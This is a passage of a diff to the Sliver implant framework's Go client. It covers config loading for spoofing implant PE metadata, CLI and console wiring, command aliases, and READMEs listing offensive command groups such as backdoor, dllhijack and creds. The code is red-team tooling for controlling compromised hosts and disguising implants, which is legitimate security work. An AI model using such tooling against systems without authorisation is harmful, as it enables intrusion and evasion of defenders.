// LoadSpoofMetadataConfig loads spoof metadata config from disk, writing defaults
// if the file is missing.
func LoadSpoofMetadataConfig() (*SpoofMetadataConfig, error) {
config := defaultSpoofMetadataConfig()
configPath := SpoofMetadataConfigPath()
data, err := os.ReadFile(configPath)
if err != nil {
if !os.IsNotExist(err) {
return defaultSpoofMetadataConfig(), err
}
if err := os.WriteFile(configPath, []byte(defaultSpoofMetadataConfigTemplate), 0o600); err != nil {
return defaultSpoofMetadataConfig(), err
}
data = []byte(defaultSpoofMetadataConfigTemplate)
}
if err := yaml.Unmarshal(data, config); err != nil {
return defaultSpoofMetadataConfig(), err
}
normalizeSpoofMetadataConfig(config)
return config, nil
}
// SaveSpoofMetadataConfig writes spoof metadata config to disk.
func SaveSpoofMetadataConfig(config *SpoofMetadataConfig) error {
if config == nil {
config = defaultSpoofMetadataConfig()
}
normalizeSpoofMetadataConfig(config)
data, err := yaml.Marshal(config)
if err != nil {
return err
}
return os.WriteFile(SpoofMetadataConfigPath(), data, 0o600)
}
func normalizeSpoofMetadataConfig(config *SpoofMetadataConfig) {
if config.PE == nil {
config.PE = &PESpoofMetadataConfig{}
}
if config.PE.Source == nil {
config.PE.Source = &SpoofMetadataDataSource{Name: "metadata-source.exe"}
}
if config.PE.Icon == nil {
config.PE.Icon = &SpoofMetadataDataSource{Name: "icon.ico"}
}
}
func defaultSpoofMetadataConfig() *SpoofMetadataConfig {
return &SpoofMetadataConfig{
PE: &PESpoofMetadataConfig{
Source: &SpoofMetadataDataSource{
Name: "metadata-source.exe",
Path: "",
},
Icon: &SpoofMetadataDataSource{
Name: "icon.ico",
Path: "",
},
},
}
}
+3 -13
View File
@@ -1,14 +1,4 @@
# client/cli CLI
===
## Overview This package implements the Sliver client cli.
Defines the Cobra root command and CLI initialization for the Sliver client binary. Sets up persistent flags, environment bootstrapping, and command wiring. Core logic addresses console, implant, import, and version within the cli package.
## Go Files
- `cli.go` – Builds the root Cobra command, wires global flags, and starts the console UI.
- `config.go` – Parses CLI configuration files and environment variables used during startup.
- `console.go` – Launches the interactive console mode and handles profile selection.
- `implant.go` – Implements CLI entry points for implant-specific operations without launching the console.
- `import.go` – Provides import routines for bringing external state into the client (e.g., implants or loot).
- `version.go` – Prints version/build information for the CLI binary.
+8 -13
View File
@@ -24,17 +24,20 @@ import (
"os" "os"
"path" "path"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/rsteube/carapace" "github.com/rsteube/carapace"
"github.com/spf13/cobra" "github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/version"
) )
const ( const (
logFileName = "sliver-client.log" logFileName = "sliver-client.log"
) )
// Initialize logging. var sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())
// Initialize logging
func initLogging(appDir string) *os.File { func initLogging(appDir string) *os.File {
log.SetFlags(log.LstdFlags | log.Lshortfile) log.SetFlags(log.LstdFlags | log.Lshortfile)
logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600) logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600)
@@ -46,12 +49,7 @@ func initLogging(appDir string) *os.File {
} }
func init() { func init() {
appDir := assets.GetRootAppDir()
logFile := initLogging(appDir)
defer logFile.Close()
rootCmd.TraverseChildren = true rootCmd.TraverseChildren = true
rootCmd.Flags().String(RCFlagName, "", "path to rc script file")
// Create the console client, without any RPC or commands bound to it yet. // Create the console client, without any RPC or commands bound to it yet.
// This created before anything so that multiple commands can make use of // This created before anything so that multiple commands can make use of
@@ -70,9 +68,6 @@ func init() {
// other command trees below, such as the implant one. // other command trees below, such as the implant one.
rootCmd.AddCommand(consoleCmd(con)) rootCmd.AddCommand(consoleCmd(con))
// MCP stdio server.
rootCmd.AddCommand(mcpCmd(con))
// Implant. // Implant.
// The implant command allows users to run commands on slivers from their // The implant command allows users to run commands on slivers from their
// system shell. It makes use of pre-runners for connecting to the server // system shell. It makes use of pre-runners for connecting to the server
@@ -93,10 +88,10 @@ var rootCmd = &cobra.Command{
Long: ``, Long: ``,
} }
// Execute - Execute root command. // Execute - Execute root command
func Execute() { func Execute() {
if err := rootCmd.Execute(); err != nil { if err := rootCmd.Execute(); err != nil {
fmt.Printf("root command: %s\n", err) fmt.Println(err)
os.Exit(1) os.Exit(1)
} }
} }
+30 -15
View File
@@ -23,34 +23,49 @@ import (
"sort" "sort"
"github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/forms"
"gopkg.in/AlecAivazis/survey.v1"
) )
func selectConfig() (string, *assets.ClientConfig) { func selectConfig() *assets.ClientConfig {
configs := assets.GetConfigs() configs := assets.GetConfigs()
if len(configs) == 0 { if len(configs) == 0 {
return "", nil return nil
} }
if len(configs) == 1 { if len(configs) == 1 {
for key, config := range configs { for _, config := range configs {
return key, config return config
} }
} }
keys := make([]string, 0, len(configs)) answer := struct{ Config string }{}
for key := range configs { qs := getPromptForConfigs(configs)
keys = append(keys, key) err := survey.Ask(qs, &answer)
if err != nil {
fmt.Println(err.Error())
return nil
}
return configs[answer.Config]
}
func getPromptForConfigs(configs map[string]*assets.ClientConfig) []*survey.Question {
keys := []string{}
for k := range configs {
keys = append(keys, k)
} }
sort.Strings(keys) sort.Strings(keys)
selection := keys[0] return []*survey.Question{
err := forms.Select("Select a server:", keys, &selection) {
if err != nil { Name: "config",
fmt.Println(err.Error()) Prompt: &survey.Select{
return "", nil Message: "Select a server:",
Options: keys,
Default: keys[0],
},
},
} }
return selection, configs[selection]
} }
-26
View File
@@ -1,26 +0,0 @@
package cli
import (
"context"
"fmt"
"os"
"google.golang.org/grpc"
"google.golang.org/grpc/connectivity"
)
func handleConnectionLost(ln *grpc.ClientConn) {
if ln == nil {
return
}
currentState := ln.GetState()
// currentState should be "Ready" when the connection is established.
if ln.WaitForStateChange(context.Background(), currentState) {
newState := ln.GetState()
// newState will be "Idle" if the connection is lost.
if newState == connectivity.Idle {
fmt.Println("\nLost connection to server. Exiting now.")
os.Exit(1)
}
}
}
+22 -35
View File
@@ -1,85 +1,72 @@
package cli package cli
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import ( import (
"fmt" "fmt"
"github.com/spf13/cobra"
"google.golang.org/grpc"
"github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command" "github.com/bishopfox/sliver/client/command"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/transport" "github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/protobuf/rpcpb" "github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/spf13/cobra"
"google.golang.org/grpc"
) )
// consoleCmd generates the console with required pre/post runners. // consoleCmd generates the console with required pre/post runners
func consoleCmd(con *console.SliverClient) *cobra.Command { func consoleCmd(con *console.SliverConsoleClient) *cobra.Command {
consoleCmd := &cobra.Command{ consoleCmd := &cobra.Command{
Use: "console", Use: "console",
Short: "Start the sliver client console", Short: "Start the sliver client console",
} }
consoleCmd.Flags().String(RCFlagName, "", "path to rc script file")
consoleCmd.RunE, consoleCmd.PersistentPostRunE = consoleRunnerCmd(con, true) consoleCmd.RunE, consoleCmd.PersistentPostRunE = consoleRunnerCmd(con, true)
return consoleCmd return consoleCmd
} }
func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *cobra.Command, args []string) error) { func consoleRunnerCmd(con *console.SliverConsoleClient, run bool) (pre, post func(cmd *cobra.Command, args []string) error) {
pre = func(cmd *cobra.Command, _ []string) error { var ln *grpc.ClientConn
pre = func(_ *cobra.Command, _ []string) error {
appDir := assets.GetRootAppDir()
logFile := initLogging(appDir)
defer logFile.Close()
configs := assets.GetConfigs() configs := assets.GetConfigs()
if len(configs) == 0 { if len(configs) == 0 {
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir()) fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
return nil return nil
} }
configKey, config := selectConfig() config := selectConfig()
if config == nil { if config == nil {
return nil return nil
} }
rcScript, err := ReadRCScript(cmd)
if err != nil {
fmt.Printf("Failed to read rc script: %s\n", err)
return nil
}
// Don't clobber output when simply running an implant command from system shell. // Don't clobber output when simply running an implant command from system shell.
if run { if run {
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort) fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
} }
var rpc rpcpb.SliverRPCClient var rpc rpcpb.SliverRPCClient
var ln *grpc.ClientConn var err error
rpc, ln, err = transport.MTLSConnect(config) rpc, ln, err = transport.MTLSConnect(config)
if err != nil { if err != nil {
fmt.Printf("Connection to server failed %s", err) fmt.Printf("Connection to server failed %s", err)
return nil return nil
} }
return console.StartClient(con, rpc, ln, &console.ConnectionDetails{ConfigKey: configKey, Config: config}, command.ServerCommands(con, nil), command.SliverCommands(con), run, rcScript)
return console.StartClient(con, rpc, command.ServerCommands(con, nil), command.SliverCommands(con), run)
} }
// Close the RPC connection once exiting // Close the RPC connection once exiting
post = func(_ *cobra.Command, _ []string) error { post = func(_ *cobra.Command, _ []string) error {
return con.CloseConnection() if ln != nil {
return ln.Close()
}
return nil
} }
return pre, post return pre, post
+9 -26
View File
@@ -1,36 +1,19 @@
package cli package cli
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import ( import (
"errors" "errors"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
"github.com/bishopfox/sliver/client/command" "github.com/bishopfox/sliver/client/command"
"github.com/bishopfox/sliver/client/command/use" "github.com/bishopfox/sliver/client/command/use"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
) )
func implantCmd(con *console.SliverClient) *cobra.Command { func implantCmd(con *console.SliverConsoleClient) *cobra.Command {
con.IsCLI = true con.IsCLI = true
makeCommands := command.SliverCommands(con) makeCommands := command.SliverCommands(con)
@@ -42,7 +25,7 @@ func implantCmd(con *console.SliverClient) *cobra.Command {
implantFlags.StringP("use", "s", "", "interact with a session") implantFlags.StringP("use", "s", "", "interact with a session")
cmd.Flags().AddFlagSet(implantFlags) cmd.Flags().AddFlagSet(implantFlags)
// Pre-runners (console setup, connection, etc) // Prerunners (console setup, connection, etc)
cmd.PersistentPreRunE, cmd.PersistentPostRunE = makeRunners(cmd, con) cmd.PersistentPreRunE, cmd.PersistentPostRunE = makeRunners(cmd, con)
// Completions // Completions
@@ -51,7 +34,7 @@ func implantCmd(con *console.SliverClient) *cobra.Command {
return cmd return cmd
} }
func makeRunners(implantCmd *cobra.Command, con *console.SliverClient) (pre, post func(cmd *cobra.Command, args []string) error) { func makeRunners(implantCmd *cobra.Command, con *console.SliverConsoleClient) (pre, post func(cmd *cobra.Command, args []string) error) {
startConsole, closeConsole := consoleRunnerCmd(con, false) startConsole, closeConsole := consoleRunnerCmd(con, false)
// The pre-run function connects to the server and sets up a "fake" console, // The pre-run function connects to the server and sets up a "fake" console,
@@ -76,7 +59,7 @@ func makeRunners(implantCmd *cobra.Command, con *console.SliverClient) (pre, pos
return pre, closeConsole return pre, closeConsole
} }
func makeCompleters(cmd *cobra.Command, con *console.SliverClient) { func makeCompleters(cmd *cobra.Command, con *console.SliverConsoleClient) {
comps := carapace.Gen(cmd) comps := carapace.Gen(cmd)
comps.PreRun(func(cmd *cobra.Command, args []string) { comps.PreRun(func(cmd *cobra.Command, args []string) {
@@ -84,7 +67,7 @@ func makeCompleters(cmd *cobra.Command, con *console.SliverClient) {
}) })
// Bind completers to flags (wrap them to use the same pre-runners) // Bind completers to flags (wrap them to use the same pre-runners)
command.BindFlagCompletions(cmd, func(comp *carapace.ActionMap) { command.FlagComps(cmd, func(comp *carapace.ActionMap) {
(*comp)["use"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action { (*comp)["use"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action {
cmd.PersistentPreRunE(cmd, c.Args) cmd.PersistentPreRunE(cmd, c.Args)
return use.SessionIDCompleter(con) return use.SessionIDCompleter(con)
+2 -1
View File
@@ -22,9 +22,10 @@ import (
"fmt" "fmt"
"os" "os"
"github.com/bishopfox/sliver/client/assets"
"github.com/rsteube/carapace" "github.com/rsteube/carapace"
"github.com/spf13/cobra" "github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets"
) )
func importCmd() *cobra.Command { func importCmd() *cobra.Command {
-94
View File
@@ -1,94 +0,0 @@
package cli
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"os"
"path/filepath"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
clientmcp "github.com/bishopfox/sliver/client/mcp"
"github.com/bishopfox/sliver/client/transport"
"github.com/spf13/cobra"
)
func mcpCmd(con *console.SliverClient) *cobra.Command {
mcpCmd := &cobra.Command{
Use: "mcp",
Short: "Start the MCP stdio server",
RunE: func(cmd *cobra.Command, args []string) error {
return runMCP(cmd, con)
},
}
mcpCmd.Flags().String("config", "", "path to client config file")
return mcpCmd
}
func runMCP(cmd *cobra.Command, con *console.SliverClient) error {
configPath, _ := cmd.Flags().GetString("config")
config, err := loadMCPClientConfig(configPath)
if err != nil {
fmt.Printf("%s\n", err)
return nil
}
rpc, ln, err := transport.MTLSConnect(config)
if err != nil {
fmt.Printf("Connection to server failed %s\n", err)
return nil
}
defer ln.Close()
con.Rpc = rpc
go handleConnectionLost(ln)
cfg := clientmcp.DefaultConfig()
if err := clientmcp.ServeStdio(cfg, con.Rpc); err != nil {
fmt.Printf("MCP server error: %s\n", err)
return nil
}
return nil
}
func loadMCPClientConfig(path string) (*assets.ClientConfig, error) {
if path != "" {
configPath := path
if !filepath.IsAbs(configPath) {
if _, err := os.Stat(configPath); err != nil {
configPath = filepath.Join(assets.GetConfigDir(), configPath)
}
}
return assets.ReadConfig(configPath)
}
configs := assets.GetConfigs()
switch len(configs) {
case 0:
return nil, fmt.Errorf("no config files found at %s (use --config)", assets.GetConfigDir())
case 1:
for _, config := range configs {
return config, nil
}
default:
return nil, fmt.Errorf("multiple configs found; use --config to select one")
}
return nil, fmt.Errorf("no config files found")
}
-31
View File
@@ -1,31 +0,0 @@
package cli
import (
"fmt"
"os"
"github.com/spf13/cobra"
)
const RCFlagName = "rc"
func ReadRCScript(cmd *cobra.Command) (string, error) {
if cmd == nil {
return "", nil
}
if cmd.Flags().Lookup(RCFlagName) == nil {
return "", nil
}
rcPath, err := cmd.Flags().GetString(RCFlagName)
if err != nil {
return "", err
}
if rcPath == "" {
return "", nil
}
data, err := os.ReadFile(rcPath)
if err != nil {
return "", fmt.Errorf("read rc script %q: %w", rcPath, err)
}
return string(data), nil
}
+2 -1
View File
@@ -21,8 +21,9 @@ package cli
import ( import (
"fmt" "fmt"
"github.com/bishopfox/sliver/client/version"
"github.com/spf13/cobra" "github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/version"
) )
var cmdVersion = &cobra.Command{ var cmdVersion = &cobra.Command{
+11 -64
View File
@@ -1,67 +1,14 @@
# client/command Command
=======
## Overview This package contains all of the client command implementations that are shared between the client and the server console.
Shared registration glue, scaffolding, and helpers for Sliver client console command groups. Hosts common utilities for binding Cobra commands to RPC-backed actions. Core logic addresses sliver within the command package. ### Developers
## Go Files General guidance on the structure of this package:
* One command per file and the name of the file should reflect the command it implements (or there about, trivial commands can go into the same file). This makes it easy to find where a command implementation lives within a package or to search by file name if it is not clear which package implements a given command.
- `command.go` – Provides helpers for binding Cobra commands, flag sets, and visibility filters into the client command tree. * The root command, and reused code should go into the file named after the command
- `server.go` – Defines the server menu composition, wiring each server-side command group onto the root console structure at runtime. * For example, code shared between the `generate` and the `regenerate` command should go in `generate.go`, and any `regenerate` specific code should go in `regenerate.go`
- `main.go` – Builds the implant/Sliver menu, attaching per-target command groups and loading alias/extension manifests before exposure. * Command entrypoint functions should have the suffix `Cmd` e.g., `GenerateCmd` is the entrypoint for `generate`
* Command entrypoints should always a function signature of `func (ctx *grumble.Context, con *console.SliverConsoleClient)`
## Sub-packages * Functions that are only ever exported for other commands to use should go in a `helpers.go`, if the function is used internally and exported follow the guidance above on shared code.
- `alias/` – Implements the 'alias' command group for the Sliver client console.
- `armory/` – Implements the 'armory' command group for the Sliver client console.
- `backdoor/` – Implements the 'backdoor' command group for the Sliver client console.
- `beacons/` – Implements the 'beacons' command group for the Sliver client console.
- `builders/` – Implements the 'builders' command group for the Sliver client console.
- `c2profiles/` – Implements the 'c2profiles' command group for the Sliver client console.
- `certificates/` – Implements the 'certificates' command group for the Sliver client console.
- `clean/` – Implements the 'clean' command group for the Sliver client console.
- `completers/` – Implements the 'completers' command group for the Sliver client console.
- `crack/` – Implements the 'crack' command group for the Sliver client console.
- `creds/` – Implements the 'creds' command group for the Sliver client console.
- `cursed/` – Implements the 'cursed' command group for the Sliver client console.
- `dllhijack/` – Implements the 'dllhijack' command group for the Sliver client console.
- `edit/` – Implements the 'edit' command for the Sliver client console.
- `environment/` – Implements the 'environment' command group for the Sliver client console.
- `exec/` – Implements the 'exec' command group for the Sliver client console.
- `exit/` – Implements the 'exit' command group for the Sliver client console.
- `extensions/` – Implements the 'extensions' command group for the Sliver client console.
- `filesystem/` – Implements the 'filesystem' command group for the Sliver client console.
- `flags/` – Implements the 'flags' command group for the Sliver client console.
- `generate/` – Implements the 'generate' command group for the Sliver client console.
- `help/` – Implements the 'help' command group for the Sliver client console.
- `hosts/` – Implements the 'hosts' command group for the Sliver client console.
- `info/` – Implements the 'info' command group for the Sliver client console.
- `jobs/` – Implements the 'jobs' command group for the Sliver client console.
- `kill/` – Implements the 'kill' command group for the Sliver client console.
- `licenses/` – Implements the 'licenses' command group for the Sliver client console.
- `loot/` – Implements the 'loot' command group for the Sliver client console.
- `monitor/` – Implements the 'monitor' command group for the Sliver client console.
- `mcp/` – Implements the 'mcp' command group for the Sliver client console.
- `network/` – Implements the 'network' command group for the Sliver client console.
- `operators/` – Implements the 'operators' command group for the Sliver client console.
- `pivots/` – Implements the 'pivots' command group for the Sliver client console.
- `portfwd/` – Implements the 'portfwd' command group for the Sliver client console.
- `privilege/` – Implements the 'privilege' command group for the Sliver client console.
- `processes/` – Implements the 'processes' command group for the Sliver client console.
- `reaction/` – Implements the 'reaction' command group for the Sliver client console.
- `reconfig/` – Implements the 'reconfig' command group for the Sliver client console.
- `registry/` – Implements the 'registry' command group for the Sliver client console.
- `rportfwd/` – Implements the 'rportfwd' command group for the Sliver client console.
- `screenshot/` – Implements the 'screenshot' command group for the Sliver client console.
- `sessions/` – Implements the 'sessions' command group for the Sliver client console.
- `settings/` – Implements the 'settings' command group for the Sliver client console.
- `shell/` – Implements the 'shell' command group for the Sliver client console.
- `shikata-ga-nai/` – Implements the 'shikata-ga-nai' command group for the Sliver client console.
- `socks/` – Implements the 'socks' command group for the Sliver client console.
- `taskmany/` – Implements the 'taskmany' command group for the Sliver client console.
- `tasks/` – Implements the 'tasks' command group for the Sliver client console.
- `update/` – Implements the 'update' command group for the Sliver client console.
- `use/` – Implements the 'use' command group for the Sliver client console.
- `wasm/` – Implements the 'wasm' command group for the Sliver client console.
- `websites/` – Implements the 'websites' command group for the Sliver client console.
- `wireguard/` – Implements the 'wireguard' command group for the Sliver client console.
-23
View File
@@ -1,23 +0,0 @@
# client/command/aka
## Overview
Implements the 'aka' command group for the Sliver client console. "Aka"s are
command aliases (like 'alias' in 'bash') that allow operators to specify
shorthand commands and default arguments for commonly used commands.
### Examples:
- `aka create bg background`: Allows an operator to run `bg` from the implant
menu to quickly move back to the server menu
- `aka create execw execute -o "C:\Windows\System32\cmd.exe" /c`: Shorthand for
executing binaries on Windows targets like: `execw arp -a`
## Go Files
- `commands.go` – Wires Cobra commands for listing, creating, and deleting command aliases in the client console.
- `create.go` – Handles creating command aliases to use by the client.
- `delete.go` – Removes command aliases currently tracked by the client.
- `hook.go` – The main hooking logic to intercept commands ran by the client console. The hook will intercept processing before hitting the Cobra tree to transform the command alias to a full command with default arguments from the command alias and user-provided arguments to the alias.
- `list.go` - Lists the current command aliases tracked by the client.
- `storage.go` - Supports the saving of aliases to disk to keep between runs of the client.
-59
View File
@@ -1,59 +0,0 @@
package aka
import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
"github.com/spf13/cobra"
)
func ServerCommands(con *console.SliverClient) []*cobra.Command {
return commands(con, constants.GenericHelpGroup)
}
func ImplantCommands(con *console.SliverClient) []*cobra.Command {
return commands(con, constants.SliverCoreHelpGroup)
}
func commands(con *console.SliverClient, group string) []*cobra.Command {
akaCommand := &cobra.Command{
Use: "aka",
Short: "Manage command aliases (aka's)",
Run: func(cmd *cobra.Command, args []string) {
AkaListCmd(cmd, con, args)
},
GroupID: group,
}
createAka := &cobra.Command{
Use: "create <alias> <command> [args...]",
Short: "Create a new command alias (aka)",
Args: cobra.MinimumNArgs(2),
DisableFlagParsing: true, // No flags with aka create so we capture flags to other commands
DisableFlagsInUseLine: true,
Run: func(cmd *cobra.Command, args []string) {
AkaCreateCmd(cmd, con, args)
},
}
createAka.InitDefaultHelpFlag()
createAka.Flags().Lookup("help").Hidden = true
akaCommand.AddCommand(createAka)
deleteAka := &cobra.Command{
Use: "delete <alias>",
Short: "Delete a command alias (aka)",
Args: cobra.MinimumNArgs(1),
Run: func(cmd *cobra.Command, args []string) {
AkaDeleteCmd(cmd, con, args)
},
}
akaCommand.AddCommand(deleteAka)
con.App.PreCmdRunLineHooks = append(con.App.PreCmdRunLineHooks, Cmdhook)
err := LoadAkaAliases()
if err != nil {
con.PrintErrorf("Failed to load aka alises: %s\n", err)
}
return []*cobra.Command{akaCommand}
}
-46
View File
@@ -1,46 +0,0 @@
package aka
import (
"fmt"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/spf13/cobra"
)
func AkaCreateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
aliasName := args[0]
command := args[1]
defaultArgs := args[2:] // anything else is going to be the default args to the alias
if _, exists := akaAliases[aliasName]; exists {
con.PrintErrorf("Alias '%s' already exists\n", aliasName)
return
}
var desc string
if len(defaultArgs) == 0 {
desc = fmt.Sprintf("%s", command)
} else {
desc = fmt.Sprintf("%s %s", command, strings.Join(defaultArgs, " "))
}
alias := &AkaAlias{
Name: aliasName,
Command: command,
DefaultArgs: defaultArgs,
Description: desc,
}
akaAliases[aliasName] = alias
// save this new alias to disk
err := SaveAkaAliases()
if err != nil {
con.PrintErrorf("Failed to save alias '%s' to disk: %s\n", aliasName, err)
// we still technically added it to the map, so the alias did get created in
// memory so we should still print the Info message below
}
con.PrintInfof("Create alias for '%s' -> '%v'\n", aliasName, alias.Description)
}
-25
View File
@@ -1,25 +0,0 @@
package aka
import (
"github.com/bishopfox/sliver/client/console"
"github.com/spf13/cobra"
)
func AkaDeleteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
aliasName := args[0]
if _, exists := akaAliases[aliasName]; !exists {
con.PrintErrorf("Alias '%s' does not exist\n", aliasName)
return
}
delete(akaAliases, aliasName)
// Save updated map to disk
err := SaveAkaAliases()
if err != nil {
con.PrintErrorf("Failed to save aliases to disk: %s\n", err)
return
}
con.PrintInfof("Deleted alias '%s'\n", aliasName)
}
-27
View File
@@ -1,27 +0,0 @@
package aka
import (
"strings"
)
func Cmdhook(args []string) ([]string, error) {
if len(args) == 0 {
return args, nil
}
if aliasArgs, exists := akaAliases[args[0]]; exists {
var expandedArgs []string
expandedArgs = append(expandedArgs, aliasArgs.Command)
expandedArgs = append(expandedArgs, aliasArgs.DefaultArgs...)
// join the user passed args so the shell processes it without flags if
// available
if len(args[1:]) > 0 {
expandedArgs = append(expandedArgs, strings.Join(args[1:], " "))
}
return expandedArgs, nil
}
return args, nil
}
-31
View File
@@ -1,31 +0,0 @@
package aka
import (
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
)
func AkaListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if len(akaAliases) == 0 {
con.PrintInfof("No command aliases created. Use `aka create` to create one.\n")
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Alias",
"Command",
})
for alias, cmd := range akaAliases {
tw.AppendRow(table.Row{
alias,
cmd.Description,
})
}
con.Printf("%s\n", tw.Render())
}
-68
View File
@@ -1,68 +0,0 @@
package aka
import (
"encoding/json"
"os"
"path/filepath"
"github.com/bishopfox/sliver/client/assets"
)
type AkaAlias struct {
Name string `json:"name"` // alias Name
Command string `json:"command"` // command being aliased
DefaultArgs []string `json:"default_args"` // args passed by the user
Description string `json:"description"`
}
var akaAliases = make(map[string]*AkaAlias)
const (
akaAliasFileName = "aka-aliases.json"
)
func GetAkaAliasesFilePath() string {
return filepath.Join(assets.GetRootAppDir(), akaAliasFileName)
}
func LoadAkaAliases() error {
filepath := GetAkaAliasesFilePath()
data, err := os.ReadFile(filepath)
if err != nil {
// if file hasn't been created yet, we fail gracefully
if os.IsNotExist(err) {
return nil
}
// otherwise, return the actual error; something else went wrong
return err
}
aliases := []AkaAlias{}
err = json.Unmarshal(data, &aliases)
if err != nil {
return err
}
akaAliases = make(map[string]*AkaAlias)
for _, alias := range aliases {
akaAliases[alias.Name] = &alias
}
return nil
}
func SaveAkaAliases() error {
filepath := GetAkaAliasesFilePath()
aliases := make([]*AkaAlias, 0, len(akaAliases))
for _, alias := range akaAliases {
aliases = append(aliases, alias)
}
data, err := json.MarshalIndent(aliases, "", " ")
if err != nil {
return err
}
return os.WriteFile(filepath, data, 0o600)
}
+7 -10
View File
@@ -1,14 +1,11 @@
# client/command/alias Alias
===========
## Overview Wraps external DLLs/tool in Sliver console commands.
Implements the 'alias' command group for the Sliver client console. Handlers map Cobra invocations to alias workflows such as install, load, and remove.
## Go Files
- `alias.go` – Implements runtime alias management, printing installed aliases and exposing tab-completion helpers. ### Format
- `alias_test.go` *(tests)* – Exercises manifest parsing logic to ensure alias metadata is interpreted correctly.
- `commands.go` – Wires Cobra commands for listing, installing, loading, and removing aliases into the client console. * `alias-dir/`
- `install.go` – Handles installing alias bundles from directories or archives, writing manifests and payload artifacts to disk. * * `manifest.json` -
- `load.go` – Loads alias manifests, validates target compatibility, and registers commands against the active console.
- `remove.go` – Removes installed aliases, prompting for confirmation and deleting associated on-disk assets.
+8 -7
View File
@@ -27,14 +27,15 @@ import (
"github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/jedib0t/go-pretty/v6/table" "github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text" "github.com/jedib0t/go-pretty/v6/text"
"github.com/rsteube/carapace" "github.com/rsteube/carapace"
"github.com/spf13/cobra" "github.com/spf13/cobra"
) )
// AliasesCmd - The alias command. // AliasesCmd - The alias command
func AliasesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) error { func AliasesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) error {
if 0 < len(loadedAliases) { if 0 < len(loadedAliases) {
PrintAliases(con) PrintAliases(con)
} else { } else {
@@ -44,8 +45,8 @@ func AliasesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) er
return nil return nil
} }
// PrintAliases - Print a list of loaded aliases. // PrintAliases - Print a list of loaded aliases
func PrintAliases(con *console.SliverClient) { func PrintAliases(con *console.SliverConsoleClient) {
tw := table.NewWriter() tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con)) tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{ tw.AppendHeader(table.Row{
@@ -87,8 +88,8 @@ func PrintAliases(con *console.SliverClient) {
con.Println(tw.Render()) con.Println(tw.Render())
} }
// AliasCommandNameCompleter - Completer for installed extensions command names. // AliasCommandNameCompleter - Completer for installed extensions command names
